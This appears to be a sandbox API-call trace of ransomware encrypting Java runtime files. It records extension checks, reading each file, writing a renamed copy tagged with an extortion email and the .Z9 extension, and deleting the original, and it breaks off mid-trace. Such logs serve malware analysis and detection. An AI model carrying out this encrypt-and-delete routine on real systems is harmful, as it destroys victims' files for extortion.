	[0093.963] lstrlenW (lpString=".xls") returned 4
	[0093.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.963] lstrlenW (lpString=".xlsx") returned 5
	[0093.963] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.963] lstrlenW (lpString=".ppt") returned 4
	[0093.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString=".zip") returned 4
	[0093.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.963] lstrlenW (lpString=".rar") returned 4
	[0093.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.963] lstrlenW (lpString=".bz2") returned 4
	[0093.963] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.963] lstrlenW (lpString=".7z") returned 3
	[0093.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString=".dbf") returned 4
	[0093.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString=".1cd") returned 4
	[0093.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString=".jpg") returned 4
	[0093.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString=".doc") returned 4
	[0093.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.964] lstrlenW (lpString=".docx") returned 5
	[0093.964] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.964] lstrlenW (lpString=".pdf") returned 4
	[0093.964] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.964] lstrlenW (lpString=".xls") returned 4
	[0093.964] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.964] lstrlenW (lpString=".xlsx") returned 5
	[0093.964] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.964] lstrlenW (lpString=".ppt") returned 4
	[0093.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.964] lstrlenW (lpString=".zip") returned 4
	[0093.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.964] lstrlenW (lpString=".rar") returned 4
	[0093.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.964] lstrlenW (lpString=".bz2") returned 4
	[0093.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.964] lstrlenW (lpString=".7z") returned 3
	[0093.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.964] lstrlenW (lpString=".dbf") returned 4
	[0093.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.964] lstrlenW (lpString=".1cd") returned 4
	[0093.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.964] lstrlenW (lpString=".jpg") returned 4
	[0093.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.964] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.964] lstrlenW (lpString="jp2native.dll") returned 13
	[0093.964] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0094.011] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=20032) returned 1
	[0094.011] CloseHandle (hObject=0x368) returned 1
	[0094.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20
	[0094.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0094.011] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.011] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0094.011] GetLastError () returned 0x0
	[0094.012] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4e40, lpOverlapped=0x0) returned 1
	[0094.042] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4e50, lpOverlapped=0x0) returned 1
	[0094.043] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.043] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xee, lpOverlapped=0x0) returned 1
	[0094.043] SetEndOfFile (hFile=0x384) returned 1
	[0094.044] CloseHandle (hObject=0x384) returned 1
	[0094.044] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.044] SetEndOfFile (hFile=0x368) returned 1
	[0094.045] CloseHandle (hObject=0x368) returned 1
	[0094.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.045] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1
	[0094.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.045] lstrlenW (lpString=".doc") returned 4
	[0094.045] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.045] lstrlenW (lpString=".docx") returned 5
	[0094.046] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0094.046] lstrlenW (lpString=".pdf") returned 4
	[0094.046] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.046] lstrlenW (lpString=".xls") returned 4
	[0094.046] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.046] lstrlenW (lpString=".xlsx") returned 5
	[0094.046] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0094.046] lstrlenW (lpString=".ppt") returned 4
	[0094.046] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.046] lstrlenW (lpString=".zip") returned 4
	[0094.046] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.046] lstrlenW (lpString=".rar") returned 4
	[0094.046] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.046] lstrlenW (lpString=".bz2") returned 4
	[0094.046] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.046] lstrlenW (lpString=".7z") returned 3
	[0094.046] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.046] lstrlenW (lpString=".dbf") returned 4
	[0094.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.046] lstrlenW (lpString=".1cd") returned 4
	[0094.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.046] lstrlenW (lpString=".jpg") returned 4
	[0094.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.046] lstrlenW (lpString=".doc") returned 4
	[0094.046] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.046] lstrlenW (lpString=".docx") returned 5
	[0094.046] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0094.046] lstrlenW (lpString=".pdf") returned 4
	[0094.047] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.047] lstrlenW (lpString=".xls") returned 4
	[0094.047] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.047] lstrlenW (lpString=".xlsx") returned 5
	[0094.047] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0094.047] lstrlenW (lpString=".ppt") returned 4
	[0094.047] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.047] lstrlenW (lpString=".zip") returned 4
	[0094.047] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.047] lstrlenW (lpString=".rar") returned 4
	[0094.047] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.047] lstrlenW (lpString=".bz2") returned 4
	[0094.047] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.047] lstrlenW (lpString=".7z") returned 3
	[0094.047] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.047] lstrlenW (lpString=".dbf") returned 4
	[0094.047] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.047] lstrlenW (lpString=".1cd") returned 4
	[0094.047] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52
	[0094.047] lstrlenW (lpString=".jpg") returned 4
	[0094.047] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.047] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.047] lstrlenW (lpString="jsdt.dll") returned 8
	[0094.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0094.048] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18496) returned 1
	[0094.048] CloseHandle (hObject=0x368) returned 1
	[0094.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20
	[0094.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0094.048] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.048] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0094.049] GetLastError () returned 0x0
	[0094.049] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4840, lpOverlapped=0x0) returned 1
	[0094.119] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4850, lpOverlapped=0x0) returned 1
	[0094.120] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.120] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.120] SetEndOfFile (hFile=0x384) returned 1
	[0094.136] CloseHandle (hObject=0x384) returned 1
	[0094.136] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.136] SetEndOfFile (hFile=0x368) returned 1
	[0094.137] CloseHandle (hObject=0x368) returned 1
	[0094.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.137] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1
	[0094.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.143] lstrlenW (lpString=".doc") returned 4
	[0094.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.143] lstrlenW (lpString=".docx") returned 5
	[0094.144] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.144] lstrlenW (lpString=".pdf") returned 4
	[0094.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.144] lstrlenW (lpString=".xls") returned 4
	[0094.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.144] lstrlenW (lpString=".xlsx") returned 5
	[0094.144] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.144] lstrlenW (lpString=".ppt") returned 4
	[0094.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.144] lstrlenW (lpString=".zip") returned 4
	[0094.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.144] lstrlenW (lpString=".rar") returned 4
	[0094.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.144] lstrlenW (lpString=".bz2") returned 4
	[0094.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.144] lstrlenW (lpString=".7z") returned 3
	[0094.144] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.144] lstrlenW (lpString=".dbf") returned 4
	[0094.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.144] lstrlenW (lpString=".1cd") returned 4
	[0094.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.144] lstrlenW (lpString=".jpg") returned 4
	[0094.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.144] lstrlenW (lpString=".doc") returned 4
	[0094.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.144] lstrlenW (lpString=".docx") returned 5
	[0094.144] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.144] lstrlenW (lpString=".pdf") returned 4
	[0094.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.145] lstrlenW (lpString=".xls") returned 4
	[0094.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.145] lstrlenW (lpString=".xlsx") returned 5
	[0094.145] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.145] lstrlenW (lpString=".ppt") returned 4
	[0094.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.145] lstrlenW (lpString=".zip") returned 4
	[0094.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.145] lstrlenW (lpString=".rar") returned 4
	[0094.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.145] lstrlenW (lpString=".bz2") returned 4
	[0094.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.145] lstrlenW (lpString=".7z") returned 3
	[0094.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.145] lstrlenW (lpString=".dbf") returned 4
	[0094.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.145] lstrlenW (lpString=".1cd") returned 4
	[0094.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0094.145] lstrlenW (lpString=".jpg") returned 4
	[0094.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.145] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.145] lstrlenW (lpString="keytool.exe") returned 11
	[0094.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0094.148] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=16448) returned 1
	[0094.148] CloseHandle (hObject=0x384) returned 1
	[0094.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20
	[0094.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0094.148] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.148] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.148] GetLastError () returned 0x0
	[0094.148] ReadFile (in: hFile=0x384, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.203] WriteFile (in: hFile=0x394, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.204] ReadFile (in: hFile=0x384, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.204] WriteFile (in: hFile=0x394, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xea, lpOverlapped=0x0) returned 1
	[0094.204] SetEndOfFile (hFile=0x394) returned 1
	[0094.204] CloseHandle (hObject=0x394) returned 1
	[0094.205] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.205] SetEndOfFile (hFile=0x384) returned 1
	[0094.206] CloseHandle (hObject=0x384) returned 1
	[0094.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.206] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1
	[0094.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.206] lstrlenW (lpString=".doc") returned 4
	[0094.206] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.206] lstrlenW (lpString=".docx") returned 5
	[0094.206] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0094.206] lstrlenW (lpString=".pdf") returned 4
	[0094.206] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.206] lstrlenW (lpString=".xls") returned 4
	[0094.206] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.206] lstrlenW (lpString=".xlsx") returned 5
	[0094.206] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0094.206] lstrlenW (lpString=".ppt") returned 4
	[0094.206] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.206] lstrlenW (lpString=".zip") returned 4
	[0094.206] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString=".rar") returned 4
	[0094.207] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString=".bz2") returned 4
	[0094.207] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.207] lstrlenW (lpString=".7z") returned 3
	[0094.207] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.207] lstrlenW (lpString=".dbf") returned 4
	[0094.207] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.207] lstrlenW (lpString=".1cd") returned 4
	[0094.207] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
